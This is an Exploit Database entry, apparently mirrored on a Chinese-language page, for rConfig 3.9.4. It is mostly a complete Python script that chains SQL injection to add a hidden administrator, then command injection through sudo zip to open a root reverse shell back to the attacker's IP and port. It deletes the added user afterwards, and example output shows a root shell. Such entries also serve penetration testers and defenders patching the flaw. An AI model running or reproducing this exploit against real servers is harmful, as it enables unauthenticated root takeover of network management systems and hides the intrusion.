rConfig 3.9.4 – ‘searchField’ Unauthenticated Root Remote Code Execution

Exploit Database
126 阅读

作者： vikingfr

日期： 2020-03-27
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/48261/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

# Exploit Title: rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution

# Exploit Author: vikingfr

# Greetz : Orange Cyberdefense - team CSR-SO (https://cyberdefense.orange.com)

# Date: 2020-03-12

# CVE-2019-19509 + CVE-2019-19585 + CVE-2020-10220

# Exploit link : https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_root_RCE_unauth.py

# Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig)

# Software Link : https://www.rconfig.com/downloads/rconfig-3.9.4.zip

# Install scripts:

# https://www.rconfig.com/downloads/scripts/install_rConfig.sh

# https://www.rconfig.com/downloads/scripts/centos7_install.sh

# https://www.rconfig.com/downloads/scripts/centos6_install.sh

# Version: tested v3.9.4

# Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24

# Notes : If you want to reproduce in your lab environment follow those links :

# http://help.rconfig.com/gettingstarted/installation

# then

# http://help.rconfig.com/gettingstarted/postinstall

# Example :

# $ python3rconfig_root_RCE_unauth_final.py http://1.1.1.1 1.1.1.2 3334

# rConfig - 3.9 - Unauthenticated root RCE

# [+] Adding a temporary admin user...

# [+] Authenticating as dywzxuvbah...

# [+] Logged in successfully, triggering the payload...

# [+] Check your listener !

# [+] The reverse shell seems to be opened :-)

# [+] Removing the temporary admin user...

# [+] Done.

# $ nc -nvlp 3334

# listening on [any] 3334 ...

# connect to [1.1.1.2] from (UNKNOWN) [1.1.1.1] 46186

# sh: no job control in this shell

# sh-4.2# id

# id

# uid=0(root) gid=0(root) groups=0(root)

# sh-4.2#

#!/usr/bin/python3

import requests

import sys

import urllib.parse

import string

import random

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

from requests.exceptions import Timeout

print ("rConfig - 3.9 - Unauthenticated root RCE")

if len(sys.argv) != 4:

print ("[+] Usage : ./rconfig_exploit.py https://target yourIP yourPort")

exit()

target = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

vuln_page="/commands.inc.php"

vuln_parameters="?searchOption=contains&searchField=vuln&search=search&searchColumn=command"

def generateUsername(stringLength=8):

u= string.ascii_lowercase

return ''.join(random.sample(u,stringLength))

print ("[+] Adding a temporary admin user...")

fake_id = str(random.randint(200,900))

fake_user = generateUsername(10)

fake_pass_md5 = "21232f297a57a5a743894a0e4a801fc3" # hash of 'admin'

fake_userid_md5 = "6c97424dc92f14ae78f8cc13cd08308d"

userleveladmin = 9 # Administrator

addUserPayload="%20;INSERT%20INTO%20<code>users</code>%20(<code>id</code>,%20<code>username</code>,%20<code>password</code>,%20<code>userid</code>,%20<code>userlevel</code>,%20<code>email</code>,%20<code>timestamp</code>,%20<code>status</code>)%20VALUES%20("+fake_id+",%20'"+fake_user+"',%20'"+fake_pass_md5+"',%20'"+fake_userid_md5+"',%209,%20'"+fake_user+"@domain.com',%201346920339,%201);--"

encoded_request = target+vuln_page+vuln_parameters+addUserPayload

firstrequest = requests.session()

exploit_req = firstrequest.get(encoded_request,verify=False)

request = requests.session()

login_info = {

"user": fake_user,

"pass": "admin",

"sublogin": 1

}

print ("[+] Authenticating as "+fake_user+"...")

login_request = request.post(

target+"/lib/crud/userprocess.php",

login_info,

verify=False,

allow_redirects=True

)

dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)

payload = ''' <code>touch /tmp/.'''+fake_user+'''.txt;sudo zip -q /tmp/.'''+fake_user+'''.zip /tmp/.'''+fake_user+'''.txt -T -TT '/bin/sh -i>& /dev/tcp/{0}/{1} 0>&1 #'</code> '''.format(ip, port)

if dashboard_request.status_code == 200:

print ("[+] Logged in successfully, triggering the payload...")

encoded_request = target+"/lib/ajaxHandlers/ajaxArchiveFiles.php?path={0}&ext=random".format(urllib.parse.quote(payload))

print ("[+] Check your listener !")

try:

exploit_req = request.get(encoded_request,timeout=10)

except Timeout:

print('[+] The reverse shell seems to be opened :-)')

else:

print('[-] The command was not executed by the target or you forgot to open a listener...')

elif dashboard_request.status_code == 302:

print ("[-] Wrong credentials !? Maybe admin were not added...")

exit()

print("[+] Removing the temporary admin user...")

delUserPayload="%20;DELETE%20FROM%20<code>users</code>%20WHERE%20<code>username</code>='"+fake_user+"';--"

encoded_request = target+vuln_page+vuln_parameters+delUserPayload

lastrequest = requests.session()

exploit_req = lastrequest.get(encoded_request,verify=False)

print ("[+] Done.")